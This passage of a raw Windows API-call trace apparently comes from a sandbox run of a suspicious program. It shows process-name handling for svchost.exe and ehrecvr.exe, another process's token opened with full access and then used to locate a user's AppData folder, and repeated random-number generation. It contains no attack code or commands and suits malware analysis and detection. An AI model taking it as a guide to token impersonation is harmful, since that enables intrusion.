lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0036.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0xed48b0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0036.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehrecvr.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0036.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehrecvr.exe", cchWideChar=11, lpMultiByteStr=0xed48b0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ehrecvr.exe", lpUsedDefaultChar=0x0) returned 11 [0036.499] GetExitCodeProcess (in: hProcess=0x130, lpExitCode=0x17af8f8 | out: lpExitCode=0x17af8f8*=0x103) returned 1 [0036.499] NtOpenProcessToken (in: ProcessHandle=0x130, DesiredAccess=0xf01ff, TokenHandle=0x17af90c | out: TokenHandle=0x17af90c*=0x134) returned 0x0 [0036.499] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8290) returned 1 [0036.499] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e8c8) returned 1 [0036.499] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30dd90) returned 1 [0036.499] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed82d8) returned 1 [0036.499] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e840) returned 1 [0036.499] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee5a58) returned 1 [0036.499] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed83b0) returned 1 [0036.499] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e950) returned 1 [0036.499] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee5ab8) returned 1 [0036.499] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed83f8) returned 1 [0036.499] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e9d8) returned 1 [0036.499] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee5b18) returned 1 [0036.499] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8440) returned 1 [0036.500] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30ea60) returned 1 [0036.500] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee5b78) returned 1 [0036.500] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8488) returned 1 [0036.500] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30eae8) returned 1 [0036.500] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee5bd8) returned 1 [0036.500] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed84d0) returned 1 [0036.500] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30eb70) returned 1 [0036.500] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee5c38) returned 1 [0036.500] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8518) returned 1 [0036.500] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30ebf8) returned 1 [0036.500] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee5c98) returned 1 [0036.500] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8560) returned 1 [0036.500] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30ec80) returned 1 [0036.500] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee5cf8) returned 1 [0036.500] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed85a8) returned 1 [0036.500] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30ed08) returned 1 [0036.500] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee5d58) returned 1 [0036.500] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed85f0) returned 1 [0036.500] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30ed90) returned 1 [0036.500] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee5db8) returned 1 [0036.500] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8638) returned 1 [0036.500] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30ee18) returned 1 [0036.500] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee5e18) returned 1 [0036.500] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8680) returned 1 [0036.500] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30eea0) returned 1 [0036.500] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee5e78) returned 1 [0036.501] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed86c8) returned 1 [0036.501] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30ef28) returned 1 [0036.501] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee5ed8) returned 1 [0036.501] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8710) returned 1 [0036.501] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30efb0) returned 1 [0036.501] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee5f38) returned 1 [0036.501] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8758) returned 1 [0036.501] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f038) returned 1 [0036.501] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee5f98) returned 1 [0036.501] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed87a0) returned 1 [0036.501] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f0c0) returned 1 [0036.501] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee5ff8) returned 1 [0036.501] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8320) returned 1 [0036.501] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f1d0) returned 1 [0036.501] NtClose (Handle=0x130) returned 0x0 [0036.501] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed2868) returned 1 [0036.501] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8368) returned 1 [0036.501] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0036.501] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed28c8) returned 1 [0036.501] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8830) returned 1 [0036.501] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f2e0) returned 1 [0036.501] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed2928) returned 1 [0036.501] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8878) returned 1 [0036.501] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f368) returned 1 [0036.501] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed2988) returned 1 [0036.501] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed88c0) returned 1 [0036.501] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f3f0) returned 1 [0036.501] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed29e8) returned 1 [0036.501] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8908) returned 1 [0036.501] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f478) returned 1 [0036.501] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed2a48) returned 1 [0036.501] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8950) returned 1 [0036.501] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f500) returned 1 [0036.501] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed2aa8) returned 1 [0036.502] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8998) returned 1 [0036.502] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f588) returned 1 [0036.502] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed2b08) returned 1 [0036.502] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed89e0) returned 1 [0036.502] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f610) returned 1 [0036.502] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed2b68) returned 1 [0036.502] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8a28) returned 1 [0036.502] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0036.502] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed2bc8) returned 1 [0036.502] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8a70) returned 1 [0036.502] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f720) returned 1 [0036.502] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed2c28) returned 1 [0036.502] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8ab8) returned 1 [0036.502] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f7a8) returned 1 [0036.502] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed2c88) returned 1 [0036.502] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8b00) returned 1 [0036.502] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f830) returned 1 [0036.502] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed2ce8) returned 1 [0036.502] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8b48) returned 1 [0036.502] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f8b8) returned 1 [0036.502] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed2d48) returned 1 [0036.502] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8b90) returned 1 [0036.502] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f940) returned 1 [0036.502] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed2da8) returned 1 [0036.502] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8bd8) returned 1 [0036.502] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f9c8) returned 1 [0036.502] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed2e08) returned 1 [0036.502] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8c20) returned 1 [0036.502] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f148) returned 1 [0036.502] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed2e68) returned 1 [0036.502] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8c68) returned 1 [0036.502] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fa50) returned 1 [0036.502] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed2ec8) returned 1 [0036.502] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8cb0) returned 1 [0036.502] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0036.502] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed2f28) returned 1 [0036.502] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8cf8) returned 1 [0036.503] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0036.503] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed2f88) returned 1 [0036.503] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8d40) returned 1 [0036.503] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fbe8) returned 1 [0036.503] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed2fe8) returned 1 [0036.503] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8d88) returned 1 [0036.503] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fc70) returned 1 [0036.503] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3048) returned 1 [0036.503] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8dd0) returned 1 [0036.503] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fcf8) returned 1 [0036.503] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed30a8) returned 1 [0036.503] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8e18) returned 1 [0036.503] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fd80) returned 1 [0036.503] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3108) returned 1 [0036.503] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed87e8) returned 1 [0036.503] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3868) returned 1 [0036.503] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3168) returned 1 [0036.503] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4868) returned 1 [0036.503] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed38f0) returned 1 [0036.503] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed31c8) returned 1 [0036.503] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed48f8) returned 1 [0036.503] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3978) returned 1 [0036.503] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3228) returned 1 [0036.503] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4940) returned 1 [0036.503] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3a00) returned 1 [0036.503] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3288) returned 1 [0036.503] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4988) returned 1 [0036.503] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3a88) returned 1 [0036.503] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed32e8) returned 1 [0036.503] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed49d0) returned 1 [0036.503] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3b10) returned 1 [0036.503] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3348) returned 1 [0036.503] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4a18) returned 1 [0036.503] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3b98) returned 1 [0036.503] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed33a8) returned 1 [0036.503] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4a60) returned 1 [0036.503] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3c20) returned 1 [0036.503] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3408) returned 1 [0036.504] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4aa8) returned 1 [0036.504] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ca8) returned 1 [0036.504] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3468) returned 1 [0036.504] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee6120) returned 1 [0036.504] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8200) returned 1 [0036.504] SHGetFolderPathW (in: hwnd=0x0, csidl=26, hToken=0x134, dwFlags=0x0, pszPath=0xed5850 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x0 [0036.816] CryptAcquireContextW (in: phProv=0x17af630, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x17af630*=0x469f18) returned 1 [0036.817] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x184) returned 0xed6058 [0036.817] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8200 [0036.817] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed87e8 [0036.817] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8e18 [0036.817] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8dd0 [0036.817] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8d88 [0036.817] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8d40 [0036.817] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8cf8 [0036.817] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8cb0 [0036.818] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8c68 [0036.818] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8c20 [0036.818] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8bd8 [0036.818] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8b90 [0036.818] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8b48 [0036.818] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8b00 [0036.818] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8ab8 [0036.818] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8a70 [0036.818] CryptGenRandom (in: hProv=0x469f18, dwLen=0x4, pbBuffer=0x17af644 | out: pbBuffer=0x17af644) returned 1 [0036.818] CryptReleaseContext (hProv=0x469f18, dwFlags=0x0) returned 1 [0036.818] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fcf8 [0036.818] CryptAcquireContextW (in: phProv=0x17af62c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x17af62c*=0x469f18) returned 1 [0036.819] CryptGenRandom (in: hProv=0x469f18, dwLen=0x4, pbBuffer=0x17af640 | out: pbBuffer=0x17af640) returned 1 [0036.819] CryptReleaseContext (hProv=0x469f18, dwFlags=0x0) returned 1 [0036.819] CryptAcquireContextW (in: phProv=0x17af62c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x17af62c*=0x469f18) returned 1 [0036.819] CryptGenRandom (in: hProv=0x469f18, dwLen=0x4, pbBuffer=0x17af640 | out: pbBuffer=0x17af640) returned 1 [0036.819] CryptReleaseContext (hProv=0x469f18, dwFlags=0x0) returned 1 [0036.819] CryptAcquireContextW (in: phProv=0x17af62c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x17af62c*=0x469f18) returned 1 [0036.820] CryptGenRandom (in: hProv=0x469f18, dwLen=0x4, pbBuffer=0x17af640 | out: pbBuffer=0x17af640) returned 1 [0036.820] CryptReleaseContext (hProv=0x469f18, dwFlags=0x0) returned 1 [0036.820] CryptAcquireContextW (in: phProv=0x17af62c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x17af62c*=0x469f18) returned 1 [0036.821] CryptGenRandom (in: hProv=0x469f18, dwLen=0x4, pbBuffer=0x17af640 | out: pbBuffer=0x17af640) returned 1 [0036.821] CryptReleaseContext (hProv=0x469f18, dwFlags=0x0) returned 1 [0036.821] CryptAcquireContextW (in: phProv=0x17af62c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x17af62c*=0x469f18) returned 1 [0036.822] CryptGenRandom (in: hProv=0x469f18, dwLen=0x4, pbBuffer=0x17af640 | out: pbBuffer=0x17af640) returned 1 [0036.822] CryptReleaseContext (hProv=0x469f18, dwFlags=0x0) returned 1 [0036.822] CryptAcquireContextW (in: phProv=0x17af62c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x17af62c*=0x469f18) returned 1 [0036.822] CryptGenRandom (in: hProv=0x469f18, dwLen=0x4, pbBuffer=0x17af640 | out: pbBuffer=0x17af640) returned 1 [0036.822] CryptReleaseContext (hProv=0x469f18, dwFlags=0x0) returned 1 [0036.822] CryptAcquireContextW (in: phProv=0x17af62c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x17af62c*=0x469f18) returned 1 [0036.823] CryptGenRandom (in: hProv=0x469f18, dwLen=0x4, pbBuffer=0x17af640 | out: pbBuffer=0x17af640) returned 1 [0036.823] CryptReleaseContext (hProv=0x469f18, dwFlags=0x0) returned 1 [0036.823] CryptAcquireContextW (in: phProv=0x17af62c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x17af62c*=0x469f18) returned 1 [0036.824] CryptGenRandom (in: hProv=0x469f18, dwLen=0x4, pbBuffer=0x17af640 | out: pbBuffer=0x17af640) returned 1 [0036.824] CryptReleaseContext (hProv=0x469f18, dwFlags=0x0) returned 1 [0036.824] CryptAcquireContextW (in: phProv=0x17af62c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x17af62c*=0x469f18) returned 1 [0036.825] CryptGenRandom (in: hProv=0x469f18, dwLen=0x4, pbBuffer=0x17af640 | out: pbBuffer=0x17af640) returned 1 [0036.825] CryptReleaseContext (hProv=0x469f18, dwFlags=0x0) returned 1 [0036.825] CryptAcquireContextW (in: phProv=0x17af62c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x17af62c*=0x469f18) returned 1 [0036.825] CryptGenRandom (in: hProv=0x469f18, dwLen=0x4, pbBuffer=0x17af640 | out: pbBuffer=0x17af640) returned 1 [0036.825] CryptReleaseContext (hProv=0x469f18, dwFlags=0x0) returned 1 [0036.825] CryptAcquireContextW (in: phProv=0x17af62c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x17af62c*=0x469f18) returned 1 [0036.826] CryptGenRandom (in: hProv=0x469f18, dwLen=0x4, pbBuffer=0x17af640 | out: pbBuffer=0x17af640) returned 1 [0036.826] CryptReleaseContext (hProv=0x469f18, dwFlags=0x0) returned 1 [0036.826] CryptAcquireContextW (in: phProv=0x17af62c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x17af62c*=0x469f18) returned 1 [0036.827] CryptGenRandom (in: hProv=0x469f18, dwLen=0x4, pbBuffer=0x17af640 | out: pbBuffer=0x17af640) returned 1 [0036.827] CryptReleaseContext (hProv=0x469f18, dwFlags=0x0) returned 1 [0036.827] CryptAcquireContextW (in: phProv=0x17af62c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x17af62c*=0x469f18) returned 1 [0036.827] CryptGenRandom (in: hProv=0x469f18, dwLen=0x4, pbBuffer=0x17af640 | out: pbBuffer=0x17af640) returned 1 [0036.827] CryptReleaseContext (hProv=0x469f18, dwFlags=0x0) returned 1 [0036.828] CryptAcquireContextW (in: phProv=0x17af62c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x17af62c*=0x469f18) returned 1 [0036.829] CryptGenRandom (in: hProv=0x469f18, dwLen=0x4, pbBuffer=0x17af640 | out: pbBuffer=0x17af640) returned 1 [0036.829] CryptReleaseContext (hProv=0x469f18, dwFlags=0x0) returned 1 [0036.829] CryptAcquireContextW (in: phProv=0x17af62c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x17af62c*=0x469f18) returned 1 [0036.829] CryptGenRandom (in: hProv=0x469f18, dwLen=0x4, pbBuffer=0x17af640 | out: pbBuffer=0x17af640) returned 1 [0036.829] CryptReleaseContext (hProv=0x469f18, dwFlags=0x0) returned 1 [0036.829] CryptAcquireContextW (in: phProv=0x17af62c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x17af62c*=0x469f18) returned 1 [0036.830] CryptGenRandom (in: hProv=0x469f18, dwLen=0x4, pbBuffer=0x17af640 | out: pbBuffer=0x17af640) returned 1 [0036.830] CryptReleaseContext (hProv=0x469f18, dwFlags=0x0) returned 1 [0036.830] CryptAcquireContextW (in: phProv=0x17af62c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x17af62c*=0x469f18) returned 1 [0036.831] CryptGenRandom (in: hProv=0x469f18, dwLen=0x4, pbBuffer=0x17af640 | out: pbBuffer=0x17af640) returned 1 [0036.831] CryptReleaseContext (hProv=0x469f18, dwFlags=0x0) returned 1 [0036.831] CryptAcquireContextW (in: phProv=0x17af62c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x17af62c*=0x469f18) returned 1 [0036.831] CryptGenRandom (in: hProv=0x469f18, dwLen=0x4, pbBuffer=0x17af640 | out: pbBuffer=0x17af640) returned 1 [0036.832] CryptReleaseContext (hProv=0x469f18, dwFlags=0x0) returned 1 [0036.832] CryptAcquireContextW (in: phProv=0x17af62c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x17af62c*=0x469f18) returned 1 [0036.832] CryptGenRandom (in: hProv=0x469f18, dwLen=0x4, pbBuffer=0x17af640 | out: pbBuffer=0x17af640) returned 1 [0036.832] CryptReleaseContext (hProv=0x469f18, dwFlags=0x0) returned 1 [0036.832] CryptAcquireContextW (in: phProv=0x17af62c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x17af62c*=0x469f18) returned 1 [0036.833] CryptGenRandom (in: hProv=0x469f18, dwLen=0x4, pbBuffer=0x17af640 | out: pbBuffer=0x17af640) returned 1 [0036.833] CryptReleaseContext (hProv=0x469f18, dwFlags=0x0) returned 1 [0036.833] CryptAcquireContextW (in: phProv=0x17af62c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x17af62c*=0x469f18) returned 1 [0036.834] CryptGenRandom (in: hProv=0x469f18, dwLen=0x4, pbBuffer=0x17af640 | out: pbBuffer=0x17af640) returned 1 [0036.834] CryptReleaseContext (hProv=0x469f18, dwFlags=0x0) returned 1 [0036.834] CryptAcquireContextW (in: phProv=0x17af62c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x17af62c*=0x469f18) returned 1 [0036.834] CryptGenRandom (in: hProv=0x469f18, dwLen=0x4, pbBuffer=0x17af640 | out: pbBuffer=0x17af640) returned 1 [0036.834] CryptReleaseContext (hProv=0x469f18, dwFlags=0x0) returned 1 